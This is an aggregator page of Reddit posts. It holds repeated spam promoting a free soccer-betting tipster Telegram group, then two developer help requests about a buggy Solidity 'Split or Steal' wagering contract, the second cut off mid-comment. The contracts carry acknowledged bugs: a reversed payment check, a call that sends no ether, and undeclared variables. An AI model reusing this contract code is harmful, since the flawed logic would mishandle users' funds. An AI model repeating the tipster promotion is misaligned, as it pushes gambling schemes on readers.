Totalbetss | แหล่งรวมกีฬาออนไลน์

totalbets

totalbets - win

FREE SOCCER TIPS!! ✅

NOT SELLING ANYTHING
2 TIPSTERS THAT RUN A PREMIUM GROUP FOR YEARS BACK IN 2015 LOOKING TO BUILD UP A GROUP AND JUST MAKE SOME MONEY 💸
PLEASE COME HELP UA GROW THE GROUP
💎 TotalBets 💎
https://t.me/totalbets0
YOUR WILL NEED TELEGRAM
submitted by leigh19888 to SportsBets [link] [comments]

FREE SOCCER BETTING GROUP ✅✅

NOT SELLING ANYTHING
2 TIPSTERS THAT RUN A PREMIUM GROUP FOR YEARS BACK IN 2015 LOOKING TO BUILD UP A GROUP AND JUST MAKE SOME MONEY 💸
PLEASE COME HELP US GROW THE GROUP
💎 TotalBets 💎
https://t.me/totalbets0
YOUR WILL NEED TELEGRAM
submitted by leigh19888 to betting [link] [comments]

FREE GROUP FOR BETTING TIPS

NOT SELLING ANYTHING
2 TIPSTERS THAT RUN A PREMIUM GROUP FOR YEARS BACK IN 2015 LOOKING TO BUILD UP A GROUP AND JUST MAKE SOME MONEY 💸
PLEASE COME HELP UA GROW THE GROUP
💎 TotalBets 💎
https://t.me/totalbets0
YOUR WILL NEED TELEGRAM
submitted by leigh19888 to betting [link] [comments]

Help Needed! I ran into a 'Transaction halted with a RUNTIME ERROR', while debugging my smart contract, any tips on how to fix this?

What are some great tutorials on testing your smart contracts after finding errors like these?
TakeShareContract.sol: 17: } 18: 19: contract TakeShareContract is owned, priced { ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ debug(development:0xc77e934a...)> n TakeShareContract.sol: 201: 202: //GAME PLAY STARTS 203: function startGame(uint256 _betAmount, bytes32 _encryptedChoice) public payable costs(_betAmount) returns(uint _gameNumber) { ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ debug(development:0xc77e934a...)> n TakeShareContract.sol: 201: 202: //GAME PLAY STARTS 203: function startGame(uint256 _betAmount, bytes32 _encryptedChoice) public payable costs(_betAmount) returns(uint _gameNumber) { ^^^^^^^^^^ debug(development:0xc77e934a...)> n TakeShareContract.sol: 12: contract priced { 13: modifier costs(uint256 price) { 14: require(msg.value >= price); ^^^^^ debug(development:0xc77e934a...)> n TakeShareContract.sol: 12: contract priced { 13: modifier costs(uint256 price) { 14: require(msg.value >= price); ^^^^^^^^^ debug(development:0xc77e934a...)> n TakeShareContract.sol: 12: contract priced { 13: modifier costs(uint256 price) { 14: require(msg.value >= price); ^^^^^^^^^^^^^^^^^^ debug(development:0xc77e934a...)> n TakeShareContract.sol: 12: contract priced { 13: modifier costs(uint256 price) { 14: require(msg.value >= price); ^^^^^^^^^^^^^^^^^^^^^^^^^^^ 

There was no revert message. This may be due to an in intentional halting expression, such as assert(), revert(), or require(), or could be due to an unintentional exception such as out-of-gas exceptions.
Please inspect your transaction parameters and contract code to determine the meaning of this error.
Full smart contract:
pragma solidity ^0.5.1; contract owned { address owner; modifier onlyOwner() { require(msg.sender == owner); _; } } contract priced { modifier costs(uint256 price) { require(msg.value <= price); _; } } contract TakeShareContract is owned, priced { //Global Variables uint constant TAKE = 0; uint constant SHARE = 1; mapping(address=>bool) suspended; mapping(address=>uint) totalGamesStarted; mapping(address=>uint) totalGamesParticipated; uint256 contractEarnings = 0; //Game Rules uint256 REGISTRATION_COST = 10**14;// 0.0001 Ether //Editable by Owner uint256 MINIMUM_COST_OF_BET = 10**17;// 0.1 Ether //Editable by Owner uint256 MAXIMUM_COST_OF_BET = 5 * 10**18;//5 Ether //Editable by Owner uint256 STAGE_TIMEOUT = 60*60*24*7;//1 Week //Reward Matrix Parameters uint256 K = 25; //Editable by Owner //Events event RegisterationOpened(uint indexed _gameNumber); event RegisterationClosed(uint indexed _gameNumber); event RevealStart(uint indexed _gameNumber); event RevealStop(uint indexed _gameNumber); event Transferred(uint indexed _gameNumber,address _to, uint256 _amount); event ContractEarnings(uint indexed _gameNumber, uint256 _amount, string _reason); event Disqualified(uint indexed _gameNumber, address indexed _player, bytes32 _encryptedChoice, uint _actualChoice, bytes32 _encryptedActualChoice); event NewGameRules(uint _oldFees, uint _newFees, uint _oldMinBet, uint _newMinBet, uint _oldMaxBet, uint _newMaxBet, uint _oldStageTimeout, uint _newStageTimeout); event NewRewardMatrix(uint _n1, uint _n2, uint _n3, uint _d); event NewRewardPercentage(uint256 _oldK, uint256 _k); event Suspended(address indexed _player); event UnSuspended(address indexed _player); //BET Struct struct Bet { bytes32 encryptedChoice; uint256 betAmount; uint actualChoice; } //GAME Struct struct Game { uint startTime; uint revealTime; uint finishTime; address player1; address player2; uint256 registrationCost; uint256 k; uint stageTimeout; bool registerationOpen; bool revealing; bool lastGameFinished; mapping(address=>address) opponent; mapping(address=>bool) registered; mapping(address=>Bet) bets; mapping(address=>bool) revealed; mapping(address=>bool) disqualified; mapping(address=>bool) claimedReward; mapping(address=>uint256) reward; } Game[] games; constructor() public { owner = msg.sender; } function fund() payable external { contractEarnings = contractEarnings + msg.value; } // UTILITY METHODS STARTS function isEven(uint num) private pure returns(bool _isEven) { uint halfNum = num / 2; return (halfNum * 2) == num; } // UTILITY METHODS END // ADMIN METHODS START function changeOwner(address _to) public onlyOwner { require(_to != address(0)); owner = _to; } /** @dev So Owner can't TAKE away player's money in the middle of the game. Owner can only withdraw earnings of the game contract and not the entire balance. Earnings are calculated after every game is finished, i.e.; when both players have cliamed reward. If a player doens't claim reward for a game, those ether can not be reclaimed until 1 week. After 1 week Owner of contract has power of disqualifying Players who did not finihs the game. FAIR ENOUGH ? */ //function transferEarningsToOwner() public onlyOwner { //require(address(this).balance >= contractEarnings); //uint256 _contractEarnings = contractEarnings; //contractEarnings = 0; // VERY IMPORTANT // PREVENTS REENTRANCY ATTACK BY CONTRACT OWNER // contract Earnings need to be set to 0 first, // and then transferred to owner // owner.transfer(_contractEarnings); //} function suspend(address _player) public onlyOwner returns(bool _suspended){ require(!suspended[_player]); require(_player != owner); suspended[_player] = true; emit Suspended(_player); return true; } function unSuspend(address _player) public onlyOwner returns(bool _unSuspended){ require(suspended[_player]); suspended[_player] = false; emit UnSuspended(_player); return true; } function setRewardPercentageK(uint256 _k) public onlyOwner { //Max earnings is double. require(_k <= 100); emit NewRewardPercentage(K, _k); K = _k; } function setGameRules(uint256 _fees, uint256 _minBet, uint256 _maxBet, uint256 _stageTimeout) public onlyOwner { require(_stageTimeout >= 60*60*24*7);//Owner can't set it to below 1 week require((_fees * 100 ) < _minBet);//Fees will always be less that 1 % of bet require(_minBet < _maxBet); emit NewGameRules(REGISTRATION_COST, _fees, MINIMUM_COST_OF_BET, _minBet, MAXIMUM_COST_OF_BET, _maxBet, STAGE_TIMEOUT, _stageTimeout); REGISTRATION_COST = _fees; MINIMUM_COST_OF_BET = _minBet; MAXIMUM_COST_OF_BET = _maxBet; STAGE_TIMEOUT = _stageTimeout; } //ADMIN METHODS ENDS //VIEW APIs STARTS function getOwner() public view returns(address _owner) { return owner; } function getContractBalance() public view returns(uint256 _balance) { return address(this).balance; } function getContractEarnings() public view returns(uint _earnings) { return contractEarnings; } function getRewardMatrix() public view returns(uint _k) { return (K); } function getGameRules() public view returns(uint256 _fees, uint256 _minBet, uint256 _maxBet, uint256 _stageTimeout) { return (REGISTRATION_COST, MINIMUM_COST_OF_BET, MAXIMUM_COST_OF_BET, STAGE_TIMEOUT); } function getGameState(uint gameNumber) public view returns(bool _registerationOpen, bool _revealing, bool _lastGameFinished, uint _startTime, uint _revealTime, uint _finishTime, uint _stageTimeout) { require(games.length >= gameNumber); Game storage game = games[gameNumber - 1]; return (game.registerationOpen, game.revealing, game.lastGameFinished, game.startTime, game.revealTime, game.finishTime, game.stageTimeout); } function getPlayerState(uint gameNumber) public view returns(bool _suspended, bool _registered, bool _revealed, bool _disqualified, bool _claimedReward, uint256 _betAmount, uint256 _reward) { require(games.length >= gameNumber); uint index = gameNumber - 1; address player = msg.sender; uint256 betAmount = games[index].bets[player].betAmount; return (suspended[player], games[index].registered[player], games[index].revealed[player], games[index].disqualified[player], games[index].claimedReward[player], betAmount, games[index].reward[player] ); } function getTotalGamesStarted() public view returns(uint _totalGames) { return totalGamesStarted[msg.sender]; } function getTotalGamesParticipated() public view returns(uint _totalGames) { return totalGamesParticipated[msg.sender]; } function getTotalGames() public view returns(uint _totalGames) { return games.length; } //VIEW APIs ENDS //GAME PLAY STARTS function startGame(uint256 _betAmount, bytes32 _encryptedChoice) public payable costs(_betAmount) returns(uint _gameNumber) { address player = msg.sender; require(!suspended[player]); require(_betAmount >= MINIMUM_COST_OF_BET); require(_betAmount <= MAXIMUM_COST_OF_BET); Game memory _game = Game(now, now, now, player, address(0), REGISTRATION_COST, K, STAGE_TIMEOUT, true, false, false); games.push(_game); Game storage game = games[games.length-1]; game.registered[player] = true; game.bets[player] = Bet(_encryptedChoice, _betAmount, 0); totalGamesStarted[player] = totalGamesStarted[player] + 1; emit RegisterationOpened(games.length); return games.length; } function joinGame(uint _gameNumber, uint256 _betAmount, bytes32 _encryptedChoice) public payable costs(_betAmount) { require(games.length >= _gameNumber); Game storage game = games[_gameNumber-1]; address player = msg.sender; require(game.registerationOpen); require(game.player1 != player); // Can also put ```require(game.registered[player]);``` meaning, Same player cannot join the game. require(!suspended[player]); require(_betAmount >= MINIMUM_COST_OF_BET); require(_betAmount <= MAXIMUM_COST_OF_BET); require(game.player2 == address(0)); game.player2 = player; game.registered[player] = true; game.bets[player] = Bet(_encryptedChoice, _betAmount, 0); game.registerationOpen = false; game.revealing = true; game.revealTime = now; // Set Game Reveal time in order to resolve dead lock if no one claims reward. game.finishTime = now; // If both do not reveal for one week, Admin can immidiately finish game. game.opponent[game.player1] = game.player2; game.opponent[game.player2] = game.player1; totalGamesParticipated[player] = totalGamesParticipated[player] + 1; emit RegisterationClosed(_gameNumber); emit RevealStart(_gameNumber); } function reveal(uint _gameNumber, uint256 _choice) public { require(games.length >= _gameNumber); Game storage game = games[_gameNumber-1]; require(game.revealing); address player = msg.sender; require(!suspended[player]); require(game.registered[player]); require(!game.revealed[player]); game.revealed[player] = true; game.bets[player].actualChoice = _choice; bytes32 encryptedChoice = game.bets[player].encryptedChoice; bytes32 encryptedActualChoice = keccak256(abi.encodePacked(_choice)); if( encryptedActualChoice != encryptedChoice) { game.disqualified[player] = true; //Mark them as Claimed Reward so that //contract earnings can be accounted for game.claimedReward[player] = true; game.reward[player] = 0; if (game.disqualified[game.opponent[player]]) { uint256 gameEarnings = game.bets[player].betAmount + game.bets[game.opponent[player]].betAmount; contractEarnings = contractEarnings + gameEarnings; emit ContractEarnings(_gameNumber, gameEarnings, "BOTH_DISQUALIFIED"); } emit Disqualified(_gameNumber, player, encryptedChoice, _choice, encryptedActualChoice); } if(game.revealed[game.player1] && game.revealed[game.player2]) { game.revealing = false; game.lastGameFinished = true; game.finishTime = now; //Set Game finish time in order to resolve dead lock if no one claims reward. emit RevealStop(_gameNumber); } } //GAME PLAY ENDS //REWARD WITHDRAW STARTS function ethTransfer(uint gameNumber, address _to, uint256 _amount) private { require(!suspended[_to]); require(_to != address(0)); if ( _amount > games[gameNumber-1].registrationCost) { //TAKE game Commission uint256 amount = _amount - games[gameNumber-1].registrationCost; require(address(this).balance >= amount); _to.call(abi.encode(amount)); emit Transferred(gameNumber, _to, amount); } } function claimRewardK(uint gameNumber) public returns(bool _claimedReward) { require(games.length >= gameNumber); Game storage game = games[gameNumber-1]; address player = msg.sender; require(!suspended[player]); require(!game.claimedReward[player]); uint commission = games[gameNumber-1].registrationCost; if (game.registerationOpen) { game.claimedReward[player] = true; game.registerationOpen = false; game.lastGameFinished = true; if ( now > (game.startTime + game.stageTimeout)) { //No commision if game was open till stage timeout. commission = 0; } game.reward[player] = game.bets[player].betAmount - commission; if (commission > 0) { contractEarnings = contractEarnings + commission; emit ContractEarnings(gameNumber, commission, "GAME_ABANDONED"); } //Bet amount can't be less than commission. //Hence no -ve check is required ethTransfer(gameNumber, player, game.bets[player].betAmount); return true; } require(game.lastGameFinished); require(!game.disqualified[player]); require(game.registered[player]); require(game.revealed[player]); require(!game.claimedReward[player]); game.claimedReward[player] = true; address opponent = game.opponent[player]; uint256 reward = 0; uint256 gameReward = 0; uint256 totalBet = (game.bets[player].betAmount + game.bets[opponent].betAmount); if ( game.disqualified[opponent]) { gameReward = ((100 + game.k) * game.bets[player].betAmount) / 100; reward = gameReward < totalBet ? gameReward : totalBet; //Min (X+Y, (100+K)*X/100) game.reward[player] = reward - commission; //Min (X+Y, (100+K)*X/100) can't be less than commision. //Hence no -ve check is required contractEarnings = contractEarnings + (totalBet - game.reward[player]); emit ContractEarnings(gameNumber, (totalBet - game.reward[player]), "OPPONENT_DISQUALIFIED"); ethTransfer(gameNumber, player, reward); return true; } if ( !isEven(game.bets[player].actualChoice) && !isEven(game.bets[opponent].actualChoice) ) { // SHARE SHARE reward = (game.bets[player].betAmount + game.bets[opponent].betAmount) / 2; game.reward[player] = reward - commission; //(X+Y)/2 can't be less than commision. //Hence no -ve check is required if ( game.claimedReward[opponent] ) { uint256 gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]); contractEarnings = contractEarnings + gameEarnings; emit ContractEarnings(gameNumber, gameEarnings, "SHARE_SHARE"); } ethTransfer(gameNumber, player, reward); return true; } if ( !isEven(game.bets[player].actualChoice) && isEven(game.bets[opponent].actualChoice) ) { // SHARE TAKE game.reward[player] = 0; if ( game.claimedReward[opponent] ) { uint256 gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]); contractEarnings = contractEarnings + gameEarnings; emit ContractEarnings(gameNumber, gameEarnings, "SHARE_TAKE"); } return true; } if ( isEven(game.bets[player].actualChoice) && !isEven(game.bets[opponent].actualChoice) ) { // TAKE SHARE gameReward = (((100 + game.k) * game.bets[player].betAmount)/100); reward = gameReward < totalBet ? gameReward : totalBet; game.reward[player] = reward - commission; //Min (X+Y, (100+K)*X/100) can't be less than commision. //Hence no -ve check is required if ( game.claimedReward[opponent] ) { uint256 gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]); contractEarnings = contractEarnings + gameEarnings; emit ContractEarnings(gameNumber, gameEarnings, "TAKE_SHARE"); } ethTransfer(gameNumber, player, reward); return true; } if ( isEven(game.bets[player].actualChoice) && isEven(game.bets[opponent].actualChoice) ) { // TAKE TAKE reward = 0; if( game.bets[player].betAmount > game.bets[opponent].betAmount) { //((100-K)*(X-Y)/2)/100 will always be less than X+Y so no need for min check on X+Y and reward reward = ((100 - game.k) * (game.bets[player].betAmount - game.bets[opponent].betAmount) / 2) / 100; } if(reward > 0) { //((100-K)*(X-Y)/2)/100 CAN BE LESS THAN COMMISSION. game.reward[player] = reward > commission ? reward - commission : 0; } if ( game.claimedReward[opponent] ) { uint256 gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]); contractEarnings = contractEarnings + gameEarnings; emit ContractEarnings(gameNumber, gameEarnings, "TAKE_TAKE"); } ethTransfer(gameNumber, player, reward); return true; } } //REWARD WITHDRAW ENDS } 

submitted by mgske to ethdev [link] [comments]

Help Wanted! DeclarationError: Undeclared identifier when trying to compile.

Compiling your contracts...

> Compiling .\contracts\Migrations.sol
> Compiling .\contracts\MyContract.sol

/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:355:17: DeclarationError: Undeclared identifier.
gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:356:55: DeclarationError: Undeclared identifier.
contractEarnings = contractEarnings + gameEarnings;
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:357:51: DeclarationError: Undeclared identifier.
emit ContractEarnings(gameNumber, gameEarnings, "SPLIT_STEAL");
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:368:17: DeclarationError: Undeclared identifier.
gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:369:55: DeclarationError: Undeclared identifier.
contractEarnings = contractEarnings + gameEarnings;
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:370:51: DeclarationError: Undeclared identifier.
emit ContractEarnings(gameNumber, gameEarnings, "STEAL_SPLIT");
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:386:17: DeclarationError: Undeclared identifier.
gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:387:55: DeclarationError: Undeclared identifier.
contractEarnings = contractEarnings + gameEarnings;
^----------^
,/C/Users/Kamil/Split-or-Steal-Game/contracts/MyContract.sol:388:51: DeclarationError: Undeclared identifier.
emit ContractEarnings(gameNumber, gameEarnings, "STEAL_STEAL");
^----------^


pragma solidity ^0.5.1;

contract owned {
address owner;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
}
contract priced {
modifier costs(uint256 price) {
require(msg.value >= price);
_;
}
}
contract MyContract is owned, priced {

//Global Variables
uint constant STEAL = 0;
uint constant SPLIT = 1;
mapping(address=>bool) suspended;
mapping(address=>uint) totalGamesStarted;
mapping(address=>uint) totalGamesParticipated;
uint256 contractEarnings = 0;
//Game Rules
uint256 REGISTRATION_COST = 10**14;// 0.0001 Ether //Editable by Owner
uint256 MINIMUM_COST_OF_BET = 10**17;// 0.1 Ether //Editable by Owner
uint256 MAXIMUM_COST_OF_BET = 5 * 10**18;//5 Ether //Editable by Owner
uint256 STAGE_TIMEOUT = 60*60*24*7;//1 Week

//Reward Matrix Parameters
uint256 K = 25; //Editable by Owner

//Events
event RegisterationOpened(uint indexed _gameNumber);
event RegisterationClosed(uint indexed _gameNumber);
event RevealStart(uint indexed _gameNumber);
event RevealStop(uint indexed _gameNumber);
event Transferred(uint indexed _gameNumber,address _to, uint256 _amount);
event ContractEarnings(uint indexed _gameNumber, uint256 _amount, string _reason);
event Disqualified(uint indexed _gameNumber, address indexed _player, bytes32 _encryptedChoice, uint _actualChoice, bytes32 _encryptedActualChoice);
event NewGameRules(uint _oldFees, uint _newFees, uint _oldMinBet, uint _newMinBet, uint _oldMaxBet, uint _newMaxBet, uint _oldStageTimeout, uint _newStageTimeout);
event NewRewardMatrix(uint _n1, uint _n2, uint _n3, uint _d);
event NewRewardPercentage(uint256 _oldK, uint256 _k);
event Suspended(address indexed _player);
event UnSuspended(address indexed _player);

//BET Struct
struct Bet {
bytes32 encryptedChoice;
uint256 betAmount;
uint actualChoice;
}

//GAME Struct
struct Game {
uint startTime;
uint revealTime;
uint finishTime;
address player1;
address player2;
uint256 registrationCost;
uint256 k;
uint stageTimeout;
bool registerationOpen;
bool revealing;
bool lastGameFinished;
mapping(address=>address) opponent;
mapping(address=>bool) registered;
mapping(address=>Bet) bets;
mapping(address=>bool) revealed;
mapping(address=>bool) disqualified;
mapping(address=>bool) claimedReward;
mapping(address=>uint256) reward;
}
Game[] games;

constructor() public {
owner = msg.sender;
}

function fund() payable external {
contractEarnings = contractEarnings + msg.value;
}

// UTILITY METHODS STARTS
function isEven(uint num) private pure returns(bool _isEven) {
uint halfNum = num / 2;
return (halfNum * 2) == num;
}
// UTILITY METHODS END

// ADMIN METHODS START
function changeOwner(address _to) public onlyOwner {
require(_to != address(0));
owner = _to;
}
/** u/dev So Owner can't take away player's money in the middle of the game.
The owner can only withdraw earnings of the game contract and not the entire balance.
Earnings are calculated after every game is finished, i.e.; when both players have claimed a reward. If a player doesn't claim the reward for a game, those ether can not be reclaimed until 1 week. After 1-week Owner of contract has the power of disqualifying
Players who did not finish the game.
*/
function transferEarningsToOwner() public onlyOwner {
require(address(this).balance >= contractEarnings);
uint256 _contractEarnings = contractEarnings;
contractEarnings = 0;
// VERY IMPORTANT
// PREVENTS REENTRANCY ATTACK BY CONTRACT OWNER
// contract Earnings need to be set to 0 first,
// and then transferred to owner
owner.transfer(_contractEarnings);
}

function suspend(address _player) public onlyOwner returns(bool _suspended){
require(!suspended[_player]);
require(_player != owner);
suspended[_player] = true;
emit Suspended(_player);
return true;
}

function unSuspend(address _player) public onlyOwner returns(bool _unSuspended){
require(suspended[_player]);
suspended[_player] = false;
emit UnSuspended(_player);
return true;
}

function setRewardPercentageK(uint256 _k) public onlyOwner {
//Max earnings is double.
require(_k <= 100);
emit NewRewardPercentage(K, _k);
K = _k;
}

function setGameRules(uint256 _fees, uint256 _minBet, uint256 _maxBet, uint256 _stageTimeout) public onlyOwner {
require(_stageTimeout >= 60*60*24*7);//Owner can't set it to below 1 week
require((_fees * 100 ) < _minBet);//Fees will always be less that 1 % of bet
require(_minBet < _maxBet);
emit NewGameRules(REGISTRATION_COST, _fees, MINIMUM_COST_OF_BET, _minBet, MAXIMUM_COST_OF_BET, _maxBet, STAGE_TIMEOUT, _stageTimeout);
REGISTRATION_COST = _fees;
MINIMUM_COST_OF_BET = _minBet;
MAXIMUM_COST_OF_BET = _maxBet;
STAGE_TIMEOUT = _stageTimeout;
}
//ADMIN METHODS ENDS

//VIEW APIs STARTS
function getOwner() public view returns(address _owner) {
return owner;
}

function getContractBalance() public view returns(uint256 _balance) {
return address(this).balance;
}

function getContractEarnings() public view returns(uint _earnings) {
return contractEarnings;
}

function getRewardMatrix() public view returns(uint _k) {
return (K);
}

function getGameRules() public view returns(uint256 _fees, uint256 _minBet, uint256 _maxBet, uint256 _stageTimeout) {
return (REGISTRATION_COST, MINIMUM_COST_OF_BET, MAXIMUM_COST_OF_BET, STAGE_TIMEOUT);
}

function getGameState(uint gameNumber) public view returns(bool _registerationOpen, bool _revealing, bool _lastGameFinished, uint _startTime, uint _revealTime, uint _finishTime, uint _stageTimeout) {
require(games.length >= gameNumber);
Game storage game = games[gameNumber - 1];
return (game.registerationOpen, game.revealing, game.lastGameFinished, game.startTime, game.revealTime, game.finishTime, game.stageTimeout);
}

function getPlayerState(uint gameNumber) public view returns(bool _suspended, bool _registered, bool _revealed, bool _disqualified, bool _claimedReward, uint256 _betAmount, uint256 _reward) {
require(games.length >= gameNumber);
uint index = gameNumber - 1;
address player = msg.sender;
uint256 betAmount = games[index].bets[player].betAmount;
return (suspended[player], games[index].registered[player], games[index].revealed[player], games[index].disqualified[player], games[index].claimedReward[player], betAmount, games[index].reward[player] );
}

function getTotalGamesStarted() public view returns(uint _totalGames) {
return totalGamesStarted[msg.sender];
}

function getTotalGamesParticipated() public view returns(uint _totalGames) {
return totalGamesParticipated[msg.sender];
}

function getTotalGames() public view returns(uint _totalGames) {
return games.length;
}
//VIEW APIs ENDS

//GAME PLAY STARTS
function startGame(uint256 _betAmount, bytes32 _encryptedChoice) public payable costs(_betAmount) returns(uint _gameNumber) {
address player = msg.sender;
require(!suspended[player]);
require(_betAmount >= MINIMUM_COST_OF_BET);
require(_betAmount <= MAXIMUM_COST_OF_BET);
Game memory _game = Game(now, now, now, player, address(0), REGISTRATION_COST, K, STAGE_TIMEOUT, true, false, false);
games.push(_game);
Game storage game = games[games.length-1];
game.registered[player] = true;
game.bets[player] = Bet(_encryptedChoice, _betAmount, 0);
totalGamesStarted[player] = totalGamesStarted[player] + 1;
emit RegisterationOpened(games.length);
return games.length;
}

function joinGame(uint _gameNumber, uint256 _betAmount, bytes32 _encryptedChoice) public payable costs(_betAmount) {
require(games.length >= _gameNumber);
Game storage game = games[_gameNumber-1];
address player = msg.sender;
require(game.registerationOpen);
require(game.player1 != player); // Can also put ```require(game.registered[player]);``` meaning, Same player cannot join the game.
require(!suspended[player]);
require(_betAmount >= MINIMUM_COST_OF_BET);
require(_betAmount <= MAXIMUM_COST_OF_BET);
require(game.player2 == address(0));
game.player2 = player;
game.registered[player] = true;
game.bets[player] = Bet(_encryptedChoice, _betAmount, 0);
game.registerationOpen = false;
game.revealing = true;
game.revealTime = now; // Set Game Reveal time in order to resolve dead lock if no one claims reward.
game.finishTime = now; // If both do not reveal for one week, Admin can immidiately finish game.
game.opponent[game.player1] = game.player2;
game.opponent[game.player2] = game.player1;
totalGamesParticipated[player] = totalGamesParticipated[player] + 1;
emit RegisterationClosed(_gameNumber);
emit RevealStart(_gameNumber);
}

function reveal(uint _gameNumber, uint256 _choice) public {
require(games.length >= _gameNumber);
Game storage game = games[_gameNumber-1];
require(game.revealing);
address player = msg.sender;
require(!suspended[player]);
require(game.registered[player]);
require(!game.revealed[player]);
game.revealed[player] = true;
game.bets[player].actualChoice = _choice;
bytes32 encryptedChoice = game.bets[player].encryptedChoice;
bytes32 encryptedActualChoice = keccak256(_choice);
if( encryptedActualChoice != encryptedChoice) {
game.disqualified[player] = true;
//Mark them as Claimed Reward so that
//contract earnings can be accounted for
game.claimedReward[player] = true;
game.reward[player] = 0;
if (game.disqualified[game.opponent[player]]) {
uint256 gameEarnings = game.bets[player].betAmount + game.bets[game.opponent[player]].betAmount;
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(_gameNumber, gameEarnings, "BOTH_DISQUALIFIED");
}
emit Disqualified(_gameNumber, player, encryptedChoice, _choice, encryptedActualChoice);
}
if(game.revealed[game.player1] && game.revealed[game.player2]) {
game.revealing = false;
game.lastGameFinished = true;
game.finishTime = now; //Set Game finish time in order to resolve dead lock if no one claims reward.
emit RevealStop(_gameNumber);
}
}
//GAME PLAY ENDS


//REWARD WITHDRAW STARTS
function ethTransfer(uint gameNumber, address _to, uint256 _amount) private {
require(!suspended[_to]);
require(_to != address(0));
if ( _amount > games[gameNumber-1].registrationCost) {
//Take game Commission
uint256 amount = _amount - games[gameNumber-1].registrationCost;
require(address(this).balance >= amount);
_to.transfer(amount);
emit Transferred(gameNumber, _to, amount);
}
}


function claimRewardK(uint gameNumber) public returns(bool _claimedReward) {
require(games.length >= gameNumber);
Game storage game = games[gameNumber-1];
address player = msg.sender;
require(!suspended[player]);
require(!game.claimedReward[player]);
uint commission = games[gameNumber-1].registrationCost;
if (game.registerationOpen) {
game.claimedReward[player] = true;
game.registerationOpen = false;
game.lastGameFinished = true;
if ( now > (game.startTime + game.stageTimeout)) {
//No commision if game was open till stage timeout.
commission = 0;
}
game.reward[player] = game.bets[player].betAmount - commission;
if (commission > 0) {
contractEarnings = contractEarnings + commission;
emit ContractEarnings(gameNumber, commission, "GAME_ABANDONED");
}
//Bet amount can't be less than commission.
//Hence no -ve check is required
ethTransfer(gameNumber, player, game.bets[player].betAmount);
return true;
}
require(game.lastGameFinished);
require(!game.disqualified[player]);
require(game.registered[player]);
require(game.revealed[player]);
require(!game.claimedReward[player]);
game.claimedReward[player] = true;
address opponent = game.opponent[player];
uint256 reward = 0;
uint256 gameReward = 0;
uint256 totalBet = (game.bets[player].betAmount + game.bets[opponent].betAmount);
if ( game.disqualified[opponent]) {
gameReward = ((100 + game.k) * game.bets[player].betAmount) / 100;
reward = gameReward < totalBet ? gameReward : totalBet; //Min (X+Y, (100+K)*X/100)
game.reward[player] = reward - commission;
//Min (X+Y, (100+K)*X/100) can't be less than commision.
//Hence no -ve check is required
contractEarnings = contractEarnings + (totalBet - game.reward[player]);
emit ContractEarnings(gameNumber, (totalBet - game.reward[player]), "OPPONENT_DISQUALIFIED");
ethTransfer(gameNumber, player, reward);
return true;
}
if ( !isEven(game.bets[player].actualChoice) && !isEven(game.bets[opponent].actualChoice) ) { // Split Split
reward = (game.bets[player].betAmount + game.bets[opponent].betAmount) / 2;
game.reward[player] = reward - commission;
//(X+Y)/2 can't be less than commision.
//Hence no -ve check is required
if ( game.claimedReward[opponent] ) {
uint256 gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(gameNumber, gameEarnings, "SPLIT_SPLIT");
}
ethTransfer(gameNumber, player, reward);
return true;
}
if ( !isEven(game.bets[player].actualChoice) && isEven(game.bets[opponent].actualChoice) ) { // Split Steal
game.reward[player] = 0;
if ( game.claimedReward[opponent] ) {
gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(gameNumber, gameEarnings, "SPLIT_STEAL");
}
return true;
}
if ( isEven(game.bets[player].actualChoice) && !isEven(game.bets[opponent].actualChoice) ) { // Steal Split
gameReward = (((100 + game.k) * game.bets[player].betAmount)/100);
reward = gameReward < totalBet ? gameReward : totalBet;
game.reward[player] = reward - commission;
//Min (X+Y, (100+K)*X/100) can't be less than commision.
//Hence no -ve check is required
if ( game.claimedReward[opponent] ) {
gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(gameNumber, gameEarnings, "STEAL_SPLIT");
}
ethTransfer(gameNumber, player, reward);
return true;
}
if ( isEven(game.bets[player].actualChoice) && isEven(game.bets[opponent].actualChoice) ) { // Steal Steal
reward = 0;
if( game.bets[player].betAmount > game.bets[opponent].betAmount) {
//((100-K)*(X-Y)/2)/100 will always be less than X+Y so no need for min check on X+Y and reward
reward = ((100 - game.k) * (game.bets[player].betAmount - game.bets[opponent].betAmount) / 2) / 100;
}
if(reward > 0) {
//((100-K)*(X-Y)/2)/100 CAN BE LESS THAN COMMISSION.
game.reward[player] = reward > commission ? reward - commission : 0;
}
if ( game.claimedReward[opponent] ) {
gameEarnings = (totalBet - game.reward[player] - game.reward[opponent]);
contractEarnings = contractEarnings + gameEarnings;
emit ContractEarnings(gameNumber, gameEarnings, "STEAL_STEAL");
}
ethTransfer(gameNumber, player, reward);
return true;
}
}
//REWARD WITHDRAW ENDS


//OWNER OVERRIDE SECTION STARTS
/**
